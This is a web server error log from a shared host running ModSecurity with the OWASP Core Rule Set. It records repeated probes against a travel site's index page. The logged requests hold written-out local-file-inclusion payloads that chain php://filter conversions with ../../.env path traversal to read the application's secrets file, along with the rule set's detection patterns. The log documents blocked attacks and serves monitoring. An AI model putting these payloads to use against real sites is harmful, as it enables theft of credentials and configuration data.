[Fri Jul 17 08:55:11.015013 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&extra=SSP2Kxw1fbCnxHKPOLtwwVfPN5huruS8c8k3ajnJlRSGSukGN1uP_zzO7iuNlydOpicrvfjEY4iYKF9sQEA6H5eEVDyRX-qYOLvHjOlGrTo93ixt-rDwtIMfLwrj8o5jjcEemD843GJM_D-CRkGKqF3EGp1LvEoh80-Pt_gC2yIQf9YEm8YuSmlcJqi-bK7J8Jaz6g1jXND3fJwrdLcLZP1Owk1XvSOfAcgtUEn9adZNObOaX58k01_5smHqhqxAa7G2oQeoogu1EG2TXuusk3qV&token=AKRNNYHVNX3GBZLKCAAAKZMLNYKKXQRKQY4JYWH23HLM3JRISKWU4KY4LWCE4MPZBVMSIYTVLXIR54TSFGRFFI7TR7ZRQKGMT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOgAAAAY"]
[Fri Jul 17 08:55:11.015113 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&extra=ssp2kxw1fbcnxhkpoltwwvfpn5hurus8c8k3ajnjlrsgsukgn1up_zzo7iunlydopicrvfjey4iykf9sqea6h5eevdyrx-qyolvhjolgrto93ixt-rdwtimflwrj8o5jjceemd843gjm_d-crkgkqf3egp1lveoh80-pt_gc2yiqf9yem8yusmlcjqi-bk7j8jaz6g1jxnd3fjwrdlclzp1owk1xvsofacgtuen9adznoboax58k01_5smhqhqxaa7g2oqeoogu1eg2txuusk3qv&token=akrnnyhvnx3gbzlkcaaakzmlnykkxqrkqy4jywh23hlm3jriskwu4ky4lwce4mpzbvmsiytvlxir54tsfgrffi7tr7zrqkgmt..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOgAAAAY"]
[Fri Jul 17 08:55:11.015176 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOgAAAAY"]
[Fri Jul 17 08:55:11.015222 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOgAAAAY"]
[Fri Jul 17 08:55:11.015711 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOgAAAAY"]
[Fri Jul 17 08:55:11.017305 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBOgAAAAY"]
[Fri Jul 17 08:55:11.017466 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.017902 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBOgAAAAY"]
[Fri Jul 17 08:55:11.017950 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&anything=JCeZ3Kq0-Mlp9yGTZc-oW291RQDYtinvVdXCtW4W09wdO6mPohOFuIeyX9XPP9BgFyicGKEOoWEkbXoFYdzZEU8s3fjt7t_uI7-cdKs4JGjfwMAX7MKxLFeHqF8OvDjd2jkuUnUZb8nuh5_j8fpQMVZdj4XShX_hOoGRKvcd1TNspIao8e_R1YfjCk4QmQQP9UNUQHMU5HXmbSAXlOfoStaKtBjBDLiMkysYwTI2612SyWO9JZbP53jSYhKqBd6S3bmxisbgx7BfChDLA6ZvwAJ2&sid=HZN5HBVP7M5VCXF23HD7HAURND6ZLFTCASPXLTRO7UEU4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vgAAAAw"]
[Fri Jul 17 08:55:11.018000 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vgAAAAw"]
[Fri Jul 17 08:55:11.018080 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&anything=JCeZ3Kq0-Mlp9yGTZc-oW291RQDYtinvVdXCtW4W09wdO6mPohOFuIeyX9XPP9BgFyicGKEOoWEkbXoFYdzZEU8s3fjt7t_uI7-cdKs4JGjfwMAX7MKxLFeHqF8OvDjd2jkuUnUZb8nuh5_j8fpQMVZdj4XShX_hOoGRKvcd1TNspIao8e_R1YfjCk4QmQQP9UNUQHMU5HXmbSAXlOfoStaKtBjBDLiMkysYwTI2612SyWO9JZbP53jSYhKqBd6S3bmxisbgx7BfChDLA6ZvwAJ2&sid=HZN5HBVP7M5VCXF23HD7HAURND6ZLFTCASPXLTRO7UEU4IE7T7ULOLFMTRLDENDQB6635X2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vgAAAAw"]
[Fri Jul 17 08:55:11.018134 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&anything=jcez3kq0-mlp9ygtzc-ow291rqdytinvvdxctw4w09wdo6mpohofuieyx9xpp9bgfyicgkeoowekbxofydzzeu8s3fjt7t_ui7-cdks4jgjfwmax7mkxlfehqf8ovdjd2jkuunuzb8nuh5_j8fpqmvzdj4xshx_hoogrkvcd1tnspiao8e_r1yfjck4qmqqp9unuqhmu5hxmbsaxlofostaktbjbdlimkysywti2612sywo9jzbp53jsyhkqbd6s3bmxisbgx7bfchdla6zvwaj2&sid=hzn5hbvp7m5vcxf23hd7haurnd6zlftcaspxltro7ueu4ie7t7ulolfmtrldendqb6635x2..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vgAAAAw"]
[Fri Jul 17 08:55:11.018176 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vgAAAAw"]
[Fri Jul 17 08:55:11.018203 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vgAAAAw"]
[Fri Jul 17 08:55:11.018653 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vgAAAAw"]
[Fri Jul 17 08:55:11.019325 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8fQAAABA"]
[Fri Jul 17 08:55:11.019510 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.019942 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8fQAAABA"]
[Fri Jul 17 08:55:11.020106 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95vgAAAAw"]
[Fri Jul 17 08:55:11.020255 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.020589 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95vgAAAAw"]
[Fri Jul 17 08:55:11.035529 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:config: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKgAAAAc"]
[Fri Jul 17 08:55:11.039163 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MKgAAAAc"]
[Fri Jul 17 08:55:11.039401 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.039857 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MKgAAAAc"]
[Fri Jul 17 08:55:11.040081 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&config=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=_vwoMU4eeGUtwyrRXdlQevvgu-vP3RCKm1UwONbig5BCs4D4-qk_C9UoGDyDzp3KLHcmwKyPUJDgAIqfYs9-9pXX3rS36fNdLxL2oTKY1Ndn-qE8DIBAHlPLZU_p0LjvvXqNhVw0fzrCkE8tSIOnNH6sGcPZUP_12_b6FPlq4bzlgUshYbfJDT1ML3xuk_fbtbVDZY-gFdX2RxuyLYa10WO_k6WVBUMkYFwTuQjAQ3OvW22uxle0PHWOyikD6jAulbI9vL1vXaCLRcMpUpkSH0Oo&ts=WJIOQTYXAGACRKVOFKIQGARWNNXJEQZJX5PXO2TCCUKIWAED..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaAAAAB4"]
[Fri Jul 17 08:55:11.040123 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaAAAAB4"]
[Fri Jul 17 08:55:11.040170 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&token=_vwoMU4eeGUtwyrRXdlQevvgu-vP3RCKm1UwONbig5BCs4D4-qk_C9UoGDyDzp3KLHcmwKyPUJDgAIqfYs9-9pXX3rS36fNdLxL2oTKY1Ndn-qE8DIBAHlPLZU_p0LjvvXqNhVw0fzrCkE8tSIOnNH6sGcPZUP_12_b6FPlq4bzlgUshYbfJDT1ML3xuk_fbtbVDZY-gFdX2RxuyLYa10WO_k6WVBUMkYFwTuQjAQ3OvW22uxle0PHWOyikD6jAulbI9vL1vXaCLRcMpUpkSH0Oo&ts=WJIOQTYXAGACRKVOFKIQGARWNNXJEQZJX5PXO2TCCUKIWAEDDVJJMNF3HTHSWDV32D22RQJGOC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaAAAAB4"]
[Fri Jul 17 08:55:11.040207 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&config=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&token=_vwomu4eegutwyrrxdlqevvgu-vp3rckm1uwonbig5bcs4d4-qk_c9uogdydzp3klhcmwkypujdgaiqfys9-9pxx3rs36fndlxl2otky1ndn-qe8dibahlplzu_p0ljvvxqnhvw0fzrcke8tsionnh6sgcpzup_12_b6fplq4bzlgushybfjdt1ml3xuk_fbtbvdzy-gfdx2rxuylya10wo_k6wvbumkyfwtuqjaq3ovw22uxle0phwoyikd6jaulbi9vl1vxaclrcmpupksh0oo&ts=wjioqtyxagacrkvofkiqgarwnnxjeqzjx5pxo2tccukiwaeddvjjmnf3hthswdv32d22rqjgoc..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSaAAAAB4"]
